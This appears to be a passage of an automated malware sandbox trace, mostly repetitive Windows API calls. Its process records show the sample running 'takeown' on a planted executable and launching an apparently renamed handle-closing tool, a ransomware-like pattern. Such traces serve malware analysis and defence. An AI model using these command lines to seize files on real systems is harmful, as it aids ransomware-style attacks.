[0107.760] SetLastError (dwErrCode=0x0) [0107.760] GetLastError () returned 0x0 [0107.760] SetLastError (dwErrCode=0x0) [0107.760] GetLastError () returned 0x0 [0107.760] SetLastError (dwErrCode=0x0) [0107.760] GetLastError () returned 0x0 [0107.760] SetLastError (dwErrCode=0x0) [0107.760] GetLastError () returned 0x0 [0107.761] SetLastError (dwErrCode=0x0) [0107.761] GetLastError () returned 0x0 [0107.761] SetLastError (dwErrCode=0x0) [0107.761] GetLastError () returned 0x0 [0107.761] SetLastError (dwErrCode=0x0) [0107.761] GetLastError () returned 0x0 [0107.761] SetLastError (dwErrCode=0x0) [0107.761] GetLastError () returned 0x0 [0107.761] SetLastError (dwErrCode=0x0) [0107.761] GetLastError () returned 0x0 [0107.761] SetLastError (dwErrCode=0x0) [0107.761] GetLastError () returned 0x0 [0107.761] SetLastError (dwErrCode=0x0) [0107.761] GetLastError () returned 0x0 [0107.761] SetLastError (dwErrCode=0x0) [0107.761] GetLastError () returned 0x0 [0107.761] SetLastError (dwErrCode=0x0) [0107.761] GetLastError () returned 0x0 [0107.761] SetLastError (dwErrCode=0x0) [0107.761] GetLastError () returned 0x0 [0107.761] SetLastError (dwErrCode=0x0) [0107.761] GetLastError () returned 0x0 [0107.761] SetLastError (dwErrCode=0x0) [0107.761] GetLastError () returned 0x0 [0107.761] SetLastError (dwErrCode=0x0) [0107.761] GetLastError () returned 0x0 [0107.761] SetLastError (dwErrCode=0x0) [0107.761] GetLastError () returned 0x0 [0107.761] SetLastError (dwErrCode=0x0) [0107.761] GetLastError () returned 0x0 [0107.761] SetLastError (dwErrCode=0x0) [0107.761] GetLastError () returned 0x0 [0107.762] SetLastError (dwErrCode=0x0) [0107.762] GetLastError () returned 0x0 [0107.762] SetLastError (dwErrCode=0x0) [0107.762] GetLastError () returned 0x0 [0107.762] SetLastError (dwErrCode=0x0) [0107.762] GetLastError () returned 0x0 [0107.762] SetLastError (dwErrCode=0x0) [0107.762] GetLastError () returned 0x0 [0107.762] SetLastError (dwErrCode=0x0) [0107.762] GetLastError () returned 0x0 [0107.762] SetLastError (dwErrCode=0x0) [0107.762] GetLastError () returned 0x0 [0107.762] SetLastError (dwErrCode=0x0) [0107.762] GetLastError () returned 0x0 [0107.762] SetLastError (dwErrCode=0x0) [0107.762] GetLastError () returned 0x0 [0107.762] SetLastError (dwErrCode=0x0) [0107.762] GetLastError () returned 0x0 [0107.762] SetLastError (dwErrCode=0x0) [0107.762] GetLastError () returned 0x0 [0107.762] SetLastError (dwErrCode=0x0) [0107.762] GetLastError () returned 0x0 [0107.762] SetLastError (dwErrCode=0x0) [0107.762] GetLastError () returned 0x0 [0107.762] SetLastError (dwErrCode=0x0) [0107.762] GetLastError () returned 0x0 [0107.762] SetLastError (dwErrCode=0x0) [0107.762] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0107.763] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x65, lpOverlapped=0x0) returned 1 [0107.766] GetLastError () returned 0x0 [0107.766] SetLastError (dwErrCode=0x0) [0107.766] GetLastError () returned 0x0 [0107.766] SetLastError (dwErrCode=0x0) [0107.766] GetLastError () returned 0x0 [0107.766] SetLastError (dwErrCode=0x0) [0107.766] GetLastError () returned 0x0 [0107.766] SetLastError (dwErrCode=0x0) [0107.766] GetLastError () returned 0x0 [0107.766] SetLastError (dwErrCode=0x0) [0107.766] GetLastError () returned 0x0 [0107.766] SetLastError (dwErrCode=0x0) [0107.766] GetLastError () returned 0x0 [0107.766] SetLastError (dwErrCode=0x0) [0107.766] GetLastError () returned 0x0 [0107.767] SetLastError (dwErrCode=0x0) [0107.767] GetLastError () returned 0x0 [0107.767] SetLastError (dwErrCode=0x0) [0107.767] GetLastError () returned 0x0 [0107.767] SetLastError (dwErrCode=0x0) [0107.767] GetLastError () returned 0x0 [0107.767] SetLastError (dwErrCode=0x0) [0107.767] GetLastError () returned 0x0 [0107.767] SetLastError (dwErrCode=0x0) [0107.767] GetLastError () returned 0x0 [0107.767] SetLastError (dwErrCode=0x0) [0107.767] GetLastError () returned 0x0 [0107.767] SetLastError (dwErrCode=0x0) [0107.767] GetLastError () returned 0x0 [0107.767] SetLastError (dwErrCode=0x0) [0107.767] GetLastError () returned 0x0 [0107.767] SetLastError (dwErrCode=0x0) [0107.767] GetLastError () returned 0x0 [0107.767] SetLastError (dwErrCode=0x0) [0107.767] GetLastError () returned 0x0 [0107.767] SetLastError (dwErrCode=0x0) [0107.767] GetLastError () returned 0x0 [0107.767] SetLastError (dwErrCode=0x0) [0107.767] GetLastError () returned 0x0 [0107.767] SetLastError (dwErrCode=0x0) [0107.767] GetLastError () returned 0x0 [0107.767] SetLastError (dwErrCode=0x0) [0107.767] GetLastError () returned 0x0 [0107.767] SetLastError (dwErrCode=0x0) [0107.767] GetLastError () returned 0x0 [0107.767] SetLastError (dwErrCode=0x0) [0107.768] GetLastError () returned 0x0 [0107.768] SetLastError (dwErrCode=0x0) [0107.768] GetLastError () returned 0x0 [0107.768] SetLastError (dwErrCode=0x0) [0107.768] GetLastError () returned 0x0 [0107.768] SetLastError (dwErrCode=0x0) [0107.768] GetLastError () returned 0x0 [0107.768] SetLastError (dwErrCode=0x0) [0107.768] GetLastError () returned 0x0 [0107.768] SetLastError (dwErrCode=0x0) [0107.768] GetLastError () returned 0x0 [0107.768] SetLastError (dwErrCode=0x0) [0107.768] GetLastError () returned 0x0 [0107.768] SetLastError (dwErrCode=0x0) [0107.768] GetLastError () returned 0x0 [0107.768] SetLastError (dwErrCode=0x0) [0107.768] GetLastError () returned 0x0 [0107.768] SetLastError (dwErrCode=0x0) [0107.768] GetLastError () returned 0x0 [0107.768] SetLastError (dwErrCode=0x0) [0107.768] GetLastError () returned 0x0 [0107.768] SetLastError (dwErrCode=0x0) [0107.768] GetLastError () returned 0x0 [0107.768] SetLastError (dwErrCode=0x0) [0107.768] GetLastError () returned 0x0 [0107.768] SetLastError (dwErrCode=0x0) [0107.768] GetLastError () returned 0x0 [0107.768] SetLastError (dwErrCode=0x0) [0107.768] GetLastError () returned 0x0 [0107.768] SetLastError (dwErrCode=0x0) [0107.768] GetLastError () returned 0x0 [0107.768] SetLastError (dwErrCode=0x0) [0107.768] GetLastError () returned 0x0 [0107.769] SetLastError (dwErrCode=0x0) [0107.769] GetLastError () returned 0x0 [0107.769] SetLastError (dwErrCode=0x0) [0107.769] GetLastError () returned 0x0 [0107.769] SetLastError (dwErrCode=0x0) [0107.769] GetLastError () returned 0x0 [0107.769] SetLastError (dwErrCode=0x0) [0107.769] GetLastError () returned 0x0 [0107.769] SetLastError (dwErrCode=0x0) [0107.769] GetLastError () returned 0x0 [0107.769] SetLastError (dwErrCode=0x0) [0107.769] GetLastError () returned 0x0 [0107.769] SetLastError (dwErrCode=0x0) [0107.769] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0107.769] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x2c, lpOverlapped=0x0) returned 1 [0107.771] GetLastError () returned 0x0 [0107.771] SetLastError (dwErrCode=0x0) [0107.771] GetLastError () returned 0x0 [0107.771] SetLastError (dwErrCode=0x0) [0107.771] GetLastError () returned 0x0 [0107.771] SetLastError (dwErrCode=0x0) [0107.771] GetLastError () returned 0x0 [0107.771] SetLastError (dwErrCode=0x0) [0107.771] GetLastError () returned 0x0 [0107.771] SetLastError (dwErrCode=0x0) [0107.771] GetLastError () returned 0x0 [0107.771] SetLastError (dwErrCode=0x0) [0107.771] GetLastError () returned 0x0 [0107.771] SetLastError (dwErrCode=0x0) [0107.771] GetLastError () returned 0x0 [0107.771] SetLastError (dwErrCode=0x0) [0107.771] GetLastError () returned 0x0 [0107.771] SetLastError (dwErrCode=0x0) [0107.771] GetLastError () returned 0x0 [0107.771] SetLastError (dwErrCode=0x0) [0107.771] GetLastError () returned 0x0 [0107.771] SetLastError (dwErrCode=0x0) [0107.771] GetLastError () returned 0x0 [0107.771] SetLastError (dwErrCode=0x0) [0107.771] GetLastError () returned 0x0 [0107.771] SetLastError (dwErrCode=0x0) [0107.771] GetLastError () returned 0x0 [0107.771] SetLastError (dwErrCode=0x0) [0107.771] GetLastError () returned 0x0 [0107.772] SetLastError (dwErrCode=0x0) [0107.772] GetLastError () returned 0x0 [0107.772] SetLastError (dwErrCode=0x0) [0107.772] GetLastError () returned 0x0 [0107.772] SetLastError (dwErrCode=0x0) [0107.772] GetLastError () returned 0x0 [0107.772] SetLastError (dwErrCode=0x0) [0107.772] GetLastError () returned 0x0 [0107.772] SetLastError (dwErrCode=0x0) [0107.772] GetLastError () returned 0x0 [0107.772] SetLastError (dwErrCode=0x0) [0107.772] GetLastError () returned 0x0 [0107.772] SetLastError (dwErrCode=0x0) [0107.772] GetLastError () returned 0x0 [0107.772] SetLastError (dwErrCode=0x0) [0107.772] GetLastError () returned 0x0 [0107.772] SetLastError (dwErrCode=0x0) [0107.772] GetLastError () returned 0x0 [0107.772] SetLastError (dwErrCode=0x0) [0107.772] GetLastError () returned 0x0 [0107.772] SetLastError (dwErrCode=0x0) [0107.772] GetLastError () returned 0x0 [0107.772] SetLastError (dwErrCode=0x0) [0107.772] GetLastError () returned 0x0 [0107.772] SetLastError (dwErrCode=0x0) [0107.772] GetLastError () returned 0x0 [0107.772] SetLastError (dwErrCode=0x0) [0107.772] GetLastError () returned 0x0 [0107.772] SetLastError (dwErrCode=0x0) [0107.772] GetLastError () returned 0x0 [0107.772] SetLastError (dwErrCode=0x0) [0107.772] GetLastError () returned 0x0 [0107.773] SetLastError (dwErrCode=0x0) [0107.773] GetLastError () returned 0x0 [0107.773] SetLastError (dwErrCode=0x0) [0107.773] GetLastError () returned 0x0 [0107.773] SetLastError (dwErrCode=0x0) [0107.773] GetLastError () returned 0x0 [0107.773] SetLastError (dwErrCode=0x0) [0107.773] GetLastError () returned 0x0 [0107.773] SetLastError (dwErrCode=0x0) [0107.773] GetLastError () returned 0x0 [0107.773] SetLastError (dwErrCode=0x0) [0107.773] GetLastError () returned 0x0 [0107.773] SetLastError (dwErrCode=0x0) [0107.773] GetLastError () returned 0x0 [0107.773] SetLastError (dwErrCode=0x0) [0107.773] GetLastError () returned 0x0 [0107.773] SetLastError (dwErrCode=0x0) [0107.773] GetLastError () returned 0x0 [0107.773] SetLastError (dwErrCode=0x0) [0107.773] GetLastError () returned 0x0 [0107.773] SetLastError (dwErrCode=0x0) [0107.773] GetLastError () returned 0x0 [0107.773] SetLastError (dwErrCode=0x0) [0107.773] GetLastError () returned 0x0 [0107.773] SetLastError (dwErrCode=0x0) [0107.773] GetLastError () returned 0x0 [0107.773] SetLastError (dwErrCode=0x0) [0107.773] GetLastError () returned 0x0 [0107.773] SetLastError (dwErrCode=0x0) [0107.773] GetLastError () returned 0x0 [0107.773] SetLastError (dwErrCode=0x0) [0107.773] GetLastError () returned 0x0 [0107.774] SetLastError (dwErrCode=0x0) [0107.774] GetLastError () returned 0x0 [0107.774] SetLastError (dwErrCode=0x0) [0107.774] GetLastError () returned 0x0 [0107.774] SetLastError (dwErrCode=0x0) [0107.774] GetLastError () returned 0x0 [0107.774] SetLastError (dwErrCode=0x0) [0107.774] GetLastError () returned 0x0 [0107.774] SetLastError (dwErrCode=0x0) [0107.774] GetLastError () returned 0x0 [0107.774] SetLastError (dwErrCode=0x0) [0107.774] GetLastError () returned 0x0 [0107.774] SetLastError (dwErrCode=0x0) [0107.774] GetLastError () returned 0x0 [0107.774] SetLastError (dwErrCode=0x0) [0107.774] GetLastError () returned 0x0 [0107.774] SetLastError (dwErrCode=0x0) [0107.774] GetLastError () returned 0x0 [0107.774] SetLastError (dwErrCode=0x0) [0107.774] GetLastError () returned 0x0 [0107.774] SetLastError (dwErrCode=0x0) [0107.774] GetLastError () returned 0x0 [0107.774] SetLastError (dwErrCode=0x0) [0107.774] GetLastError () returned 0x0 [0107.774] SetLastError (dwErrCode=0x0) [0107.774] GetLastError () returned 0x0 [0107.774] SetLastError (dwErrCode=0x0) [0107.774] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0107.775] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x3a, lpOverlapped=0x0) returned 1 [0107.776] GetLastError () returned 0x0 [0107.776] SetLastError (dwErrCode=0x0) [0107.776] GetLastError () returned 0x0 [0107.776] SetLastError (dwErrCode=0x0) [0107.776] GetLastError () returned 0x0 [0107.776] SetLastError (dwErrCode=0x0) [0107.776] GetLastError () returned 0x0 [0107.776] SetLastError (dwErrCode=0x0) [0107.776] GetLastError () returned 0x0 [0107.776] SetLastError (dwErrCode=0x0) [0107.776] GetLastError () returned 0x0 [0107.776] SetLastError (dwErrCode=0x0) [0107.776] GetLastError () returned 0x0 [0107.776] SetLastError (dwErrCode=0x0) [0107.776] GetLastError () returned 0x0 [0107.776] SetLastError (dwErrCode=0x0) [0107.776] GetLastError () returned 0x0 [0107.777] SetLastError (dwErrCode=0x0) [0107.777] GetLastError () returned 0x0 [0107.777] SetLastError (dwErrCode=0x0) [0107.777] GetLastError () returned 0x0 [0107.777] SetLastError (dwErrCode=0x0) [0107.777] GetLastError () returned 0x0 [0107.777] SetLastError (dwErrCode=0x0) [0107.777] GetLastError () returned 0x0 [0107.777] SetLastError (dwErrCode=0x0) [0107.777] GetLastError () returned 0x0 [0107.777] SetLastError (dwErrCode=0x0) [0107.777] GetLastError () returned 0x0 [0107.777] SetLastError (dwErrCode=0x0) [0107.777] GetLastError () returned 0x0 [0107.777] SetLastError (dwErrCode=0x0) [0107.777] GetLastError () returned 0x0 [0107.777] SetLastError (dwErrCode=0x0) [0107.777] GetLastError () returned 0x0 [0107.777] SetLastError (dwErrCode=0x0) [0107.777] GetLastError () returned 0x0 [0107.777] SetLastError (dwErrCode=0x0) [0107.777] GetLastError () returned 0x0 [0107.777] SetLastError (dwErrCode=0x0) [0107.777] GetLastError () returned 0x0 [0107.777] SetLastError (dwErrCode=0x0) [0107.777] GetLastError () returned 0x0 [0107.777] SetLastError (dwErrCode=0x0) [0107.777] GetLastError () returned 0x0 [0107.777] SetLastError (dwErrCode=0x0) [0107.777] GetLastError () returned 0x0 [0107.777] SetLastError (dwErrCode=0x0) [0107.777] GetLastError () returned 0x0 [0107.778] SetLastError (dwErrCode=0x0) [0107.778] GetLastError () returned 0x0 [0107.778] SetLastError (dwErrCode=0x0) [0107.778] GetLastError () returned 0x0 [0107.778] SetLastError (dwErrCode=0x0) [0107.778] GetLastError () returned 0x0 [0107.778] SetLastError (dwErrCode=0x0) [0107.778] GetLastError () returned 0x0 [0107.778] SetLastError (dwErrCode=0x0) [0107.778] GetLastError () returned 0x0 [0107.778] SetLastError (dwErrCode=0x0) [0107.778] GetLastError () returned 0x0 [0107.778] SetLastError (dwErrCode=0x0) [0107.778] GetLastError () returned 0x0 [0107.778] SetLastError (dwErrCode=0x0) [0107.778] GetLastError () returned 0x0 [0107.778] SetLastError (dwErrCode=0x0) [0107.778] GetLastError () returned 0x0 [0107.778] SetLastError (dwErrCode=0x0) [0107.778] GetLastError () returned 0x0 [0107.779] SetLastError (dwErrCode=0x0) [0107.794] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x310090 | out: hHeap=0x2f0000) returned 1 [0107.794] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x12fe58 | out: phModule=0x12fe58) returned 0 [0107.794] RtlExitUserProcess (ExitCode=0x1) [0107.794] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30f060 | out: hHeap=0x2f0000) returned 1 Process: id = "197" image_name = "takeown.exe" filename = "c:\\windows\\syswow64\\takeown.exe" page_root = "0x793f0000" os_pid = "0xebc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "188" os_parent_pid = "0xe4c" cmd_line = "takeown /F \"C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 784 os_tid = 0xec0 Process: id = "198" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x2770b000" os_pid = "0xec4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "168" os_parent_pid = "0xd64" cmd_line = "bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 785 os_tid = 0xec8 [0108.415] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0108.415] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0108.415] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0108.415] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0108.415] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0108.415] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0108.415] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0108.415] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0108.415] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0108.415] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0108.415] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0108.415] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0108.416] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0108.416] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0108.416] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0108.416] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0108.416] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0108.416] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0108.416] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0108.416] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0108.416] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0108.416] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0108.416] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0108.416] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0108.416] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0108.416] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0108.416] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0108.417] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0108.417] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0108.417] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0108.417] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0108.417] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0108.417] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0108.417] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0108.417] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0108.417] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0108.417] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0108.417] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0108.417] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0108.417] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0108.417] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0108.418] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0108.418] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0108.418] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0108.418] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0108.418] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0108.418] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0108.418] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0108.418] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0108.418] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0108.418] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0108.418] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0108.418] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0108.418] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0108.418] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0108.419] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0108.419] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0108.419] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0108.419] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0108.419] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0108.419] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0108.419] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0108.419] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0108.419] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0108.419] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0108.419] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0108.419] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0108.419] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0108.419] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0108.420] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0108.420] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0108.420] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0108.420] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0108.420] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0108.420] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0108.420] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0108.420] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0108.420] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0108.420] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0108.420] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0108.422] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0108.422] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0108.422] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0108.422] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0108.422] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0108.422] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0108.422] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0108.422] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0108.422] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0108.422] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0108.422] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0108.422] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0108.422] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0108.423] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0108.423] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0108.423] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0108.423] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0108.423] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0108.423] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0108.423] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0108.423] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0108.423] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0108.423] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0108.423] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0108.423] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0108.423] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0108.423] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0108.424] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0108.424] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0108.424] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0108.424] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0108.424] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0108.424] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0108.424] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0108.424] GetProcAddress (hModule=0x76780000, 